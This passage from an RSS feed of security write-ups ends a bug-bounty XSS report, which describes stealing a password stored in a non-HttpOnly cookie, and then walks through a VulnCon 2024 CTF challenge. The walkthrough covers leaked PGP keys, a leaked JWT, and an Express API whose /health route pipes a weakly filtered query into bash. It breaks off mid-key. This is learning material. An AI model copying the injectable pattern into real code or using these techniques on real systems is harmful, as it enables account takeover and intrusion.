error.</p><p>The best and the only thing I could try at this point was to change the Response code from 401 to 200. New response:</p><pre>HTTP/2 200 OK<br>Date: Sat, 15 Jun 2024 18:48:30 GMT<br>Content-Type: application/json<br>Content-Length: 64<br>Cf-Ray: 8944bc11abef9a78-NAG<br>Cf-Cache-Status: DYNAMIC<br>Access-Control-Allow-Origin: *<br>Cache-Control: max-age=1<br>Vary: Accept-Encoding, Authorization<br>Content-Security-Policy: default-src &#39;none&#39;<br>X-Content-Type-Options: nosniff<br>Server: cloudflare<br><br>{&quot;message&quot;:&quot;You are not authorized to perform this operation.&quot;}</pre><p>And it did work. The XSS was executed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZS3ovyEMsIzEu3i03lppKA.png" /></figure><p>Further analysis led me to discover that the supplied authorization token value or the pass supplied was being passed as the cookie value and the HTTP-only flag was not set.</p><p>Attack scenario :</p><pre><br>1. The malicious URL would be sent to the victim. <br>2. The victim logs in with the correct pass and the XSS gets executed.<br>3. Since the password is directly being passed on as a cookie value,<br>   the attacker will use the cookie value as the pass and log into the victim&#39;s account.</pre><p>I created a well-written report and was paid $$$ + 10 points for the finding. Also, I was the first Hall of Fame of the program. 😈</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vcyTqNsOidJFklT7XeQ9FQ.png" /></figure><p>Until the next time, keep growing, keep hacking.</p><p>Bye!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=db7fff38792a" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/xss-demonstrating-impact-without-credentials-db7fff38792a">XSS: Demonstrating Impact Without Credentials</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[VulnCon 2024 CTF — Internal Leaks]]></title>
            <link>https://medium.com/@pphreak313/vulncon-2024-ctf-internal-leaks-0a7bf21bf96d?source=rss-295ad504dab1------2</link>
            <guid isPermaLink="false">https://medium.com/p/0a7bf21bf96d</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-walkthrough]]></category>
            <category><![CDATA[vulncon]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Shlok K]]></dc:creator>
            <pubDate>Sun, 19 May 2024 16:11:12 GMT</pubDate>
            <atom:updated>2024-05-19T18:11:38.367Z</atom:updated>
            <content:encoded><![CDATA[<h3>VulnCon 2024 CTF — Internal Leaks</h3><p>Hello everyone. In this write-up, I am gonna explain, how I solved this challenge. It was tricky as multiple puzzle pieces had to be connected. Yet, it was full of new learning experiences.</p><p>So with that, let&#39;s go.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*8p1FniWOY36Q6ZCSrRA7QA.png" /></figure><p>Challenge Description:<br>0xAl3x has leaked Vulncon’s Internals Docs on the Dark Web. Can you find out what they are hiding from everyone behind the scenes?</p><p>Link:<br><a href="http://7ebo2vvc4cmwmzvukmjtwqdfdnb7njagz6ipirbbpyfvhspqpiah2lqd.onion/index.html">http://7ebo2vvc4cmwmzvukmjtwqdfdnb7njagz6ipirbbpyfvhspqpiah2lqd.onion/index.html</a></p><p>Accessing the Tor link will give up a hyperlink to download a file named vulnc0n.enc .</p><p>The file content :</p><pre>-----BEGIN PGP MESSAGE-----<br>Version: Keybase OpenPGP v2.0.76<br>Comment: https://keybase.io/crypto<br><br>yMClAnicAVkBpv7EDQMACgE+IL3P7u9zEwHLKXUAZkhDiWh0dHBzOi8vZmlsZXMu<br>Y2F0Ym94Lm1vZS93ZWNpeDYuemlwwsBcBAABCgAGBQJmSEOJAAoJED4gvc/u73MT<br>UaAIAJgHfaXfUZYpzXurf2SCIsHLWFvUlu+qOt2ahycZz5NcnTwXLLWjeN0wphms<br>/EPVsvhRsv5pFmaEmgYAaRH8Rw1xlSUioGtBLJRGUoDO1pys1vHL4vurBUXkC708<br>a0UroczBmSbHPAuLf3JfhZqCkOYLqFZ/J9SdOg5EERBu0RID0CsnQucqlj3C5F5n<br>WcDLedKe/W4PjKQhyEwe9DZSSzB5Bj7smj+6vYO9vtR8sgY8bZYoWMcZ0XexIL59<br>gQxcVudo0w8tmkOlmvwxoLD5kBmCcMOhVc5zFoBnmedaNwUwupDy883mdYgbrThp<br>MakLKOo+lQE9E/42DoZSscy6SnTWp5j5<br>=/OmL<br>-----END PGP MESSAGE-----<br><br>-----BEGIN PGP PUBLIC KEY BLOCK-----<br>Version: Keybase OpenPGP v2.0.76<br>Comment: https://keybase.io/crypto<br><br>xsBNBGZGLc4BCADUajMmU8Y7mR43g0HrnShaechzDpS9abOuG17ONhSfJENuLdq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Y BLOCK-----</pre><p>It seems like an encoded message which needs to be decrypted. But, all we have is a public key. Umm…</p><p>Let&#39;s explore more. If we see the comment part, we can see it generated using keybase.io</p><p>Whats keybase?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qWRiKdr0fLPtl_JIRlYQ_g.png" /></figure><p>So I first created an account on this.</p><p>Now accessing keybase.io/crypto</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IRlD6w8avqWfy-B5-Ie5UQ.png" /></figure><p>Now we can see that the above has a search option. If we search for keyword “vulncon”, we can see a profile as: <a href="https://keybase.io/vulncon_temp_lel">https://keybase.io/vulncon_temp_lel</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CmfW4RaaURP03fjdAOVyKg.png" /></figure><p>This profile had nothing much but, if we see the following, we can see that the profile is suspicious: sablaafk:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/931/1*55YtAsx_FAG9KTHP4U5LgQ.png" /></figure><p>So we can see, we are on the right path. We can see she has her public key in her profile.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t6DmU0SCwZcA7lPcAhH1yQ.png" /></figure><p>Now since I did not have experience with this, I just imported this on my PC and tried to decrypt the vulnc0n.enc. Sounds so dumb, but it helped.</p><p>Dumping keys:</p><pre>curl https://keybase.io/sabiaafk/pgp_keys.asc | gpg --import<br>&gt;&gt;gpg: key 43FEBCD8A0694FCD: &quot;sabia-afk &lt;tjsince1337@gmail.com&gt;&quot; not changed<br>gpg: Total number processed: 1<br>gpg:              unchanged: 1<br><br>gpg --decrypt vulncon.enc<br>&gt;&gt;https://files.catbox.moe/wecix6.zipgpg: Signature made Sat May 18 05:58:33 2024 UTC<br>gpg:                using RSA key 3E20BDCFEEEF7313<br>gpg: Good signature from &quot;vulncon &lt;vulncon@vulncon.vulncon&gt;&quot; [unknown]<br>gpg: WARNING: This key is not certified with a trusted signature!<br>gpg:          There is no indication that the signature belongs to the owner.<br>Primary key fingerprint: 52BE FC6C 918F CCCE 97F1  F523 D6E2 B4D6 6BB9 BD43<br>     Subkey fingerprint: 40BE 1097 4EFD C0DC CD82  04F1 3E20 BDCF EEEF 7313<br>gpg: [don&#39;t know]: invalid packet (ctb=1c)</pre><p>The crazy stuff here is the file URL. So yeah, since I did not have the private key, the message won&#39;t decode but it should throw an error which happened in this case.</p><p>Url: <a href="https://files.catbox.moe/wecix6.zipgpg">https://files.catbox.moe/wecix6.zipgpg</a></p><p>Accessing the URL gave a 404. Now common sense works and we can assume it should be wecix6.zip<br>Final URL: <a href="https://files.catbox.moe/wecix6.zipgpg">https://files.catbox.moe/wecix6.zi</a>p</p><p>Visiting the url downloaded a ZIP file that had the source code of the application named pfshare.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/665/1*HHKZNnhO7FaxPUPoSasWSA.png" /></figure><p>Looking into files 2 things were interesting: .git/config and source/libs/pfshare_clients.ts</p><pre>.git/config:<br><br>[core]<br> repositoryformatversion = 0<br> filemode = true<br> bare = false<br> logallrefupdates = true<br>[remote &quot;origin&quot;]<br> url = https://git.comefindme.dev/pfshare/pfshare.git<br> fetch = +refs/heads/*:refs/remotes/origin/*<br>[branch &quot;master&quot;]<br> remote = origin<br> merge = refs/heads/master</pre><pre>pf_shareclient.ts:<br><br>import axios from &#39;axios&#39;;<br><br>const pfSClient = (token?: string) =&gt; {<br>    return axios.create({<br>        baseURL: &#39;https://share.comefindme.dev&#39;,<br>        timeout: 10000,<br>        headers: {<br>            &#39;Content-Type&#39;: &#39;application/json&#39;,<br>            &#39;User-Agent&#39;: &#39;pfShare&#39;,<br>            &#39;Authorization&#39;: &#39;Bearer &#39; + token,<br>        }<br>    })<br>}<br><br>export default pfSClient;</pre><p>Urls: share.comfindme.dev and git.comefindme.dev</p><p>Visiting git.comefindme.dev :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AYxJEiJbNPmu6w_GCQrWaw.png" /></figure><p>If we click on explore, we see there are 3 public repositories:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xFKvRhJg2opb06rLpQC1RA.png" /></figure><p>The dotfiles repo had bootstrap.sh file:</p><pre>#!/bin/bash<br><br>wget https://files.catbox.moe/t3gt0w.asc ~/.gnupg/k1<br>wget https://files.catbox.moe/956ldr.asc ~/.gnupg/k2<br><br>echo &quot;Downloaded keys&quot;</pre><p>Cool stuff. I downloaded these files to my terminal.</p><pre>t3gt0w.asc:<br><br>-----BEGIN PGP PUBLIC KEY BLOCK-----<br>Version: Keybase OpenPGP v2.0.76<br>Comment: https://keybase.io/crypto<br><br>xsBNBGZGLc4BCADUajMmU8Y7mR43g0HrnShaechzDpS9abOuG17ONhSfJENuLdqt<br>guZXQJMwC9vEM3HXJR3uUfVmlibRMkcg/2DbpHfxmt7Is6+vv/o32/jlH3g5KBt2<br>Vxg9Qs7WW28C49F1cseWV0xJRWtNA3o1q9pB8P9pB3takDmGlILt1uRhQgu8LeOR<br>ymiAsuacbZ5W835395VhKBvwH/t2kCR2yVd5JlPoQ5AAicFs5mNxk4r6qcoKGRok<br>RwwQi9uH80RDSif+n5nPt7k4TATqaIxaJSl6B4mibwinjzjjTMEBz6sVX+EW95ik<br>UJ7xEKjSJ4wVwFrI0AbaMw2AYxPzS5VZ4hUbABEBAAHNIXZ1bG5jb24gPHZ1bG5j<br>b25AdnVsbmNvbi52dWxuY29uPsLAegQTAQoAJAUCZkYtzgIbLwMLCQcDFQoIAh4B<br>AheAAxYCAQIZAQUJAAAAAAAKCRDW4rTWa7m9Q57ECACwbuV1ujXTRaj2kTViSmUd<br>J3Kt+31dD2TAJUR4BcI29PCiKfvL5nyqP/5iX6GNYaj+PG5Pc84fZCwu31CQXFP4<br>vJekb2jIfhYAAwBGteP38ZSB/R+3f30EsQZ6+HgA/nXqpUWwoPLtYR67L6uYKZDH<br>yEulkFtQ3rd6tN0DaVmY13opL6SUYIFkZsmEtf+eZk0LvMMt5nP7TulvLtz1l434<br>5Wk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gCLk6VB/921QoW+RWVAHEt9CbdkaTR/kQGAPOid9Tz7xtid8YXOPwV<br>oViceWGPA9QTG6bDoM55CPq8XqJb4VieIg6iUDt1nj3Ne2U7lHMPUUqqxW1w0XkR<br>JFLk2hOPxYs5/qQQexW1DybyuVzcB2WcrEHu1XRe3kHzzVszNbyL1fpjMWFqhL0L<br>2qPd6vvoyjd5iJR6T+u6rRorOWc7xfp6tcFTFpKqon2svvGzS0jbAewZGTLPSVqq<br>Vk4qSnBTbkFo7GE5i8vtdjZ+9ut15ppPV83s/9eTWwAtrfzJgkUJt6GDuFa4VfJf<br>UeOKya8G7w4uPm7t/JOtzmUdvV9Sn4lkNmUjZQ/t<br>=vcv+<br>-----END PGP PUBLIC KEY BLOCK-----</pre><pre>956ldr.asc<br><br>-----BEGIN PGP PRIVATE KEY BLOCK-----<br>Version: Keybase OpenPGP v2.0.76<br>Comment: https://keybase.io/crypto<br><br>xcMGBGZGLc4BCADUajMmU8Y7mR43g0HrnShaechzDpS9abOuG17ONhSfJENuLdqt<br>guZXQJMwC9vEM3HXJR3uUfVmlibRMkcg/2DbpHfxmt7Is6+vv/o32/jlH3g5KBt2<br>Vxg9Qs7WW28C49F1cseWV0xJRWtNA3o1q9pB8P9pB3takDmGlILt1uRhQgu8LeOR<br>ymiAsuacbZ5W835395VhKBvwH/t2kCR2yVd5JlPoQ5AAicFs5mNxk4r6qcoKGRok<br>RwwQi9uH80RDSif+n5nPt7k4TATqaIxaJSl6B4mibwinjzjjTMEBz6sVX+EW95ik<br>UJ7xEKjSJ4wVwFrI0AbaMw2AYxPzS5VZ4hUbABEBAAH+CQMIOT8oHynXAJ5gQeV3<br>fKd7edUQRbYrB6ni3rFZx6SoyLmI+/yx/kb9MkOH+CvMb6mjSV25rdY+8Ov5Sz6q<br>4CheUBvMLz+7w/8kPcKdPIbVoA/L/A2QKJhM1iKN/eoCcxvS21ootdrG7Q+Fi2GQ<br>DDY4HrXZ05vjaRztgNx6A+wqpHz4TOXWOm8fT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QQexW1DybyuVzc<br>B2WcrEHu1XRe3kHzzVszNbyL1fpjMWFqhL0L2qPd6vvoyjd5iJR6T+u6rRorOWc7<br>xfp6tcFTFpKqon2svvGzS0jbAewZGTLPSVqqVk4qSnBTbkFo7GE5i8vtdjZ+9ut1<br>5ppPV83s/9eTWwAtrfzJgkUJt6GDuFa4VfJfUeOKya8G7w4uPm7t/JOtzmUdvV9S<br>n4lkNmUjZQ/t<br>=vD3t<br>-----END PGP PRIVATE KEY BLOCK-----</pre><p>Cool stuffs!! Now let&#39;s move back to key base and add a PGP key:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*78n27ASXc6K89-G5eOVvQA.png" /></figure><p>Since we already have the public key t3.asc with us, we will click I have one already.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nK-_v2dk6QyXfdbx7TfvQw.png" /></figure><p>Click on lets do it:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/599/1*t1vX9zB3wbk4E9ziedhVVw.png" /></figure><p>Add our private key here 95.asc :</p><p>Now the moment you add it, you will get:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/582/1*5cTSphjfKBWy0zK4xqmQGw.png" /></figure><p>Existing passphrase. Woah. Where is it now? Now, if we analyze the dotfiles repo, we can see a commit made: <a href="https://git.comefindme.dev/0xal3x/dotfiles/commit/689562f3db134b79b4f4a8bcadb28a95ab84f1fe">https://git.comefindme.dev/0xal3x/dotfiles/commit/689562f3db134b79b4f4a8bcadb28a95ab84f1fe</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YSEu9ft0dnfe838Ctqb9HA.png" /></figure><p>Hence we have password: vulncon</p><p>Add all values and click on encrypt on keybase.io:</p><p>Now we can decrypt the vulnc0n.asc from keybase.io/decrypt:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/664/1*mHg2bHCSmwUxFp14yvFObA.png" /></figure><p>Flag incoming??</p><p>Wait for it:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/648/1*mvE9ONbrTFOf4zldC8zbWA.png" /></figure><p>Rabbiiittt Holee!! So ain’t we already had that file??</p><p>Where is the flag??</p><p>I was so confused at this moment. Asked for a sanity check and the awesome ctf team at Vulncon said, i am 50% done.</p><p>So yeah, now I know, it&#39;s all now on share.comefindme.dev.</p><p>I spent a lot of time on code analysis and repo reading. The third repo:<br>pfshare/api matched the working of share.comefindme.dev.</p><p>Access:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/751/1*PPoMSmE4kc4e-rutKZWn_w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/669/1*7D0hJpiXljbHG-PZC5mWdA.png" /></figure><p>If we read the index.ts, we see that an Authorization Bearer Token is needed to access some routes of the page:</p><pre>import { $ } from &quot;bun&quot;;<br>import express, { type Application } from &quot;express&quot;;<br>import logger from &quot;morgan&quot;<br>import cors from &quot;cors&quot;;<br>import helmet from &quot;helmet&quot;;<br>import jwt, { type JwtPayload } from &quot;jsonwebtoken&quot;;<br>import { genSaltSync, hashSync, compareSync } from &quot;bcrypt-edge&quot;<br>import multer from &quot;multer&quot;;<br>import fs from &quot;fs&quot;;<br><br>import { db } from &quot;./db&quot;;<br><br>const PORT = process.env.PORT ?? 3000;<br><br>const pvtkey = fs.readFileSync(&quot;./jwtRS256.key&quot;);<br>const pubkey = fs.readFileSync(&quot;./jwtRS256.key.pub&quot;);<br><br>const app : Application = express();<br><br>app.use(logger(&#39;dev&#39;));<br>app.use(cors());<br>app.use(helmet());<br>app.use(express.json());<br>app.use(express.urlencoded({ extended: false }));<br><br>app.get(&quot;/&quot;, (req, res) =&gt; {<br>    return res.json({ message: &quot;Hello, World!&quot; });<br>});<br><br>app.get(&quot;/user/:id&quot;, (req, res) =&gt; {<br>    const user = db.prepare(&quot;SELECT * FROM users WHERE id = ?&quot;).get(req.params.id);<br>    return res.json(user);<br>});<br><br>// app.get(&quot;/register&quot;, async (req, res) =&gt; {<br>//     const { name, password, email, role } = req.query;<br>//     if(!name || !password || !email || !role) {<br>//         return res.json({<br>//             error: &quot;Missing required fields!&quot;<br>//         });<br>//     }<br>//     const salt = genSaltSync(10);<br>//     const hash = hashSync(String(password), salt);<br>//     const stmt = db.prepare(&quot;INSERT INTO users (name, password, email, role) VALUES (?, ?, ?, ?)&quot;);<br>//     stmt.run(String(name), String(hash), String(email), String(role));<br>//     return res.json({<br>//         data: &quot;User created!&quot;<br>//     });<br>// });<br><br>app.get(&quot;/health&quot;, async (req, res) =&gt; {<br>    try {<br>        const { cmd } = req.query;<br>        if(!cmd) {<br>            return res.json({<br>                data: &quot;OK!&quot;,<br>            });    <br>        }<br>        const data = new RegExp(/^(id|pwd|whoami)/gm).exec(String(cmd));<br>        if (data === null) {<br>            throw new Error(&quot;Invalid command!&quot;);<br>        }<br>        const encodeCmd = btoa(data[0]);<br>        <br>        return res.json({<br>            data: &quot;OK!&quot;,<br>            cmd: await $`echo ${encodeCmd} | base64 -d | bash`.text()<br>        });<br>    } catch(e: any) {<br>        return res.json({<br>            error: e.message<br>        });<br>    }<br>})<br><br>interface IUser {<br>    id: number;<br>    name: string;<br>    password: string;<br>    email: string;<br>    role: string;<br>    created_at: string;<br>    updated_at: string;<br>}<br><br>app.post(&quot;/login&quot;, async (req, res) =&gt; {<br>    const { email, password } = await req.body;<br>    const user = db.prepare(&quot;SELECT id, name, role, password FROM users WHERE email = ?&quot;).get(email) as IUser;<br>    if (!user) {<br>        return res.json({<br>            error: &quot;User not found!&quot;<br>        });<br>    }<br>    if (!compareSync(password, user.password)) {<br>        return res.json({<br>            error: &quot;Invalid password!&quot;<br>        });<br>    }<br><br>    const token = jwt.sign({<br>        id: user.id,<br>        email: user.email,<br>        role: user.role<br>    }, pvtkey, {<br>        expiresIn: &quot;1h&quot;,<br>        algorithm: &quot;RS256&quot;<br>    });<br><br>    return res.json({<br>        data: &quot;Login successful!&quot;,<br>        token<br>    });<br>});<br><br>app.use(&quot;*&quot;, async (req, res, next) =&gt; {<br>    const token = req.header(&quot;Authorization&quot;);<br>    if (!token) {<br>        return res.json({<br>            error: &quot;You need to login first!&quot;<br>        });<br>    }<br>    try {<br>        const decoded = jwt.verify(token?.split(&quot; &quot;)[1], pubkey) as JwtPayload;<br>        req.headers[&quot;user_id&quot;] = decoded?.id<br>        req.headers[&quot;user_email&quot;] = decoded.email;<br>        req.headers[&quot;user_role&quot;] = decoded.role;<br>        next();<br>    } catch (e: any) {<br>        return res.json({<br>            error: &quot;Invalid token!&quot;<br>        });<br>    }<br>})<br><br>app.get(&quot;/me&quot;, async (req, res) =&gt; {<br>    const user_id = req.headers[&quot;user_id&quot;] as string;<br>    const user = db.prepare(&quot;SELECT id, name, role, email, created_at FROM users WHERE id = ?&quot;).get(user_id) as IUser;<br>    return res.json(user);<br>})<br><br>interface IUpload {<br>    id: number;<br>    user_id: number;<br>    file_name: string;<br>    file_path: string;<br>    created_at: string;<br>    updated_at: string;<br>}<br><br>app.get(&quot;/uploads&quot;, async (req, res) =&gt; {<br>    const user_id = req.headers[&quot;user_id&quot;] as string;<br>    const uploads = db.prepare(&quot;SELECT * FROM uploads where user_id = ?&quot;).all(user_id) as IUpload[];<br>    if(!uploads) {<br>        return res.json({<br>            error: &quot;No files uploaded!&quot;<br>        });<br>    }<br>    return res.json({<br>        data:  uploads<br>    });<br>});<br><br>app.get(&quot;/upload/:id&quot;, async (req, res) =&gt; {<br>    const user_id = req.headers[&quot;user_id&quot;] as string;<br>    const upload = db.prepare(&quot;SELECT * FROM uploads where user_id = ? AND id = ?&quot;).get(user_id, req.params.id) as IUpload;<br>    if(!upload) {<br>        return res.json({<br>            error: &quot;File not found!&quot;<br>        });<br>    }<br>    return res.json(upload);<br>})<br><br>app.get(&quot;/upload/:id/download&quot;, async (req, res) =&gt; {<br>    const user_id = req.headers[&quot;user_id&quot;] as string;<br>    const upload = db.prepare(&quot;SELECT * FROM uploads where user_id = ? AND id = ?&quot;).get(user_id, req.params.id) as IUpload;<br>    if(!upload) {<br>        return res.json({<br>            error: &quot;File not found!&quot;<br>        });<br>    }<br>    const hostUrl = req.protocol + &#39;://&#39; + req.get(&#39;host&#39;);<br>    console.log(hostUrl + upload.file_path);<br>    return res.redirect(hostUrl + upload.file_path);<br>})<br><br>app.get(&quot;/uploads/all&quot;, async (req, res) =&gt; {<br>    const user_role = req.headers[&quot;user_role&quot;];<br>    if(user_role !== &quot;sysadmin&quot;) {<br>        return res.json({<br>            error: &quot;You are not allowed to access this route!&quot;<br>        });<br>    }<br>    <br>    const uploads = db.prepare(&quot;SELECT * FROM uploads&quot;).all();<br><br>    return res.json(uploads);<br>});<br><br>const storage = multer.memoryStorage();<br><br>app.post(&quot;/upload&quot;, <br>    multer({ storage }).single(&quot;file&quot;),<br>    async (req, res) =&gt; {<br>        const user_id = req.headers[&quot;user_id&quot;] as string;<br>        const file = req.file;<br><br>        if (!file) {<br>            return res.json({<br>                error: &quot;No file uploaded!&quot;<br>            });<br>        }<br><br>        if(typeof file == &quot;string&quot;) {<br>            return res.json({<br>                error: &quot;Invalid file!&quot;<br>            });<br>        }<br><br>        const newName = Date.now() + &#39;-&#39; + file.originalname<br><br>        fs.writeFileSync(`./static/${newName}`, file.buffer);<br><br>        db.prepare(&quot;INSERT INTO uploads (user_id, file_name, file_path) VALUES (?, ?, ?)&quot;).get(user_id, file.originalname, `/static/${newName}`);<br><br>        return res.json({<br>            data: &quot;File uploaded!&quot;,<br>        });<br>    }<br>);<br><br>app.use(&quot;/static&quot;, express.static(&quot;static&quot;));<br><br>app.get(&quot;/users&quot;, (req, res) =&gt; {<br>    const user_role = req.headers[&quot;user_role&quot;];<br>    <br>    if(user_role !== &quot;sysadmin&quot;) {<br>        return res.json({<br>            error: &quot;You are not allowed to access this route!&quot;<br>        });<br>    }<br><br>    const users = db.prepare(&quot;SELECT * FROM users&quot;).all();<br>    <br>    return res.json(users);<br>});<br><br>app.listen(Number(PORT), () =&gt; {<br>    console.log(&quot;API :- http://localhost:&quot; + PORT + &quot;/&quot;);<br>})</pre><p>If we access the page as /me directly we see:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/433/1*m166WBPVRNsGJupFhdHVtg.png" /></figure><p>We can see the Authorization token is a JWT token. But we dont know where the JWT key is or anything. So now what??</p><p>If we again analyze the git commits, issues we see a closed issue as HELP ME!!:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Zi6f_Yb4iKj_f2wk89yylA.png" /></figure><p>If we scroll down, we see:</p><pre>Here you go.<br><br>-----BEGIN PGP MESSAGE-----<br>Version: Keybase OpenPGP v2.0.76<br>Comment: https://keybase.io/crypto<br><br>wcBMAz4gvc/u73MTAQgAnONTa89FgrOts8x8rEIrrCEEfoI8erNo7YKGGuke3+Pa<br>N33vljyf1SxEBibdWupA60fK4jphhSwzTUCGscFwAg4px2+82GisxtqBnZbl0UKB<br>vJ7UukGboKcAUgk/ki3bxzIhaT6MAcw9biJStfJxtX1LnoU1T+mzrHycwUKSNkqb<br>Y3p1WOV2qQIuGtc2M0xcrP6islSbhuSZt8c3fJYn7VkSAnPKXzeBkt46PLhN7Gyv<br>BrdyKFew6ut36X7TzSjzqcnQ/umuoei/j4ztyxb/4s1UAyFA6kPqXGNhu6Z11QPf<br>SJVvyPhzf8UlG+s84LIhoakm6ljFRV5KO7hZwi4ujNLDfgEItT0BOsR4w0AlaWEM<br>8niZlqPRBO9owevOmfqxvTwXrc4R27jiMl8MC6Lz7GiKT+oy7q7+US7MTEV/U1sF<br>i0Jy1pBkUxml6N+kw/TIIaWUJYyLpuewf+8yWGjAX2VaLydgqRyaD2LANOZ/IxyA<br>PGrexA6AHIMkZWlo6fXquaqh67kKYd47BCSFt6waGm6JbZZasGFS4Ct2fzJIEZMp<br>Cs8WAIZHTTvSGx8Y3t/oW77QPQsH4GkzA3J4d1VvMjLmrMhpygPeILNeDE+SJRsa<br>HP9Rjf5rlJYRGohSqcmnt5V5ZbFGEZYiYv90Dq5uCryFtqWOr05UwxmiZrktUF3m<br>b8PEQrC6E109usTxH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VGMg/US3VJ2UER4J8pcr6JXhAraEPurUNmTH3aVAg<br>3VCfRFF9HOGsGSJ+yJlcvw==<br>=H9Kb<br>-----END PGP MESSAGE-----</pre><p>If we decrypt this using our keys on keybase, we see:</p><pre>eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MTAxLCJyb2xlIjoiZGV2ZWxvcGVyIiwiaWF0IjoxNzE2MDAzMjI0fQ.MzJyfqrJkvG2TJ9BpEu37ahfKCkGI5-NRB6_ykZuWbPCORIlUicOPaDBZwtKPmwgDJbGU4l_V_TwInHkleyVYKtz-oGN0zf8dH8NyKZbibKQCKPacvzioja4cxXNIbvyF_Q3weAA2TSJuYd0hqjW4W355VMOOfDXKs9VE6Rcrd7snjI8rnwraOJjt6lvU7EBc8DJJTNZYFTvmMx8CForioRIyn1LEz5l1ob-_LixY5_prbipzQgfSRx79o2befMucjl6cJHOBQJbOeh5x4V0XLDN4yaxH-bqPe1oYO2MAwyHVqMJ5WVomIOfxfN01rG0PtvSh8CsCoP66kxYa-ga2gyzGkAVhRiizco9uBpoARnrL7q1Tuylf0-kyxquSjs2vEG0UXU5FN3s8VYUUpANmJEf26RjEylNHWLS26AiFvxYZcwd4Zw9AbmAHsHKCedCaQ6o93SDmUnBK-UwFX0ldDusgoOpWVR5hApinhiig76DemP2yC_1dwoRk6xhQa-9LnpjpuElT4ivhlh1j-Fr3Yxm4RTQUc6oMPc7o6BGa5PBGKV4vPQH8NxAQyFv85u22fOMXBE-Jhlh1h2M2NMH_u8u3f5V2wU_471oyxRB8iLFdPwB7JNREcNwjPNzGyMCE6GEg2fDtunPOw7BnJH09FEqzB6tnejwDgUa4w3zybY</pre><p>So yeah, 75 % of the job is done. We have our JWT token.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*p4Gm5h-2IRXastW0fpXIYA.png" /></figure><p>Now accessing the /me with the Authorization token:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/992/1*bQ21qowRuu0UTPTnvCReyg.png" /></figure><p>Nice stuff. Now moving back to the index.ts file. If we analyze this, we see the routes as: /users are only accessible by users with roles as sysadmin.</p><pre>app.use(&quot;/static&quot;, express.static(&quot;static&quot;));<br><br>app.get(&quot;/users&quot;, (req, res) =&gt; {<br>    const user_role = req.headers[&quot;user_role&quot;];<br>    <br>    if(user_role !== &quot;sysadmin&quot;) {<br>        return res.json({<br>            error: &quot;You are not allowed to access this route!&quot;<br>        });<br>    }<br><br>    const users = db.prepare(&quot;SELECT * FROM users&quot;).all();<br>    <br>    return res.json(users);<br>});</pre><p>So now since our JWT has a role as developer. We can try to manipulate the role, But if you know about how JWT works, we cannot resign the JWT without using the KEY.</p><p>The key hunt:</p><p>If we access /uploads with the current JWT:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/990/1*KFhiihiiZ_GhTg09jx5r6g.png" /></figure><p>Here we have our jwt.key :</p><p>Let&#39;s see that:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/994/1*366hj8Yi4gPrHcRLUKvWyw.png" /></figure><pre>-----BEGIN PGP MESSAGE-----<br>Version: Keybase OpenPGP v2.0.76<br>Comment: 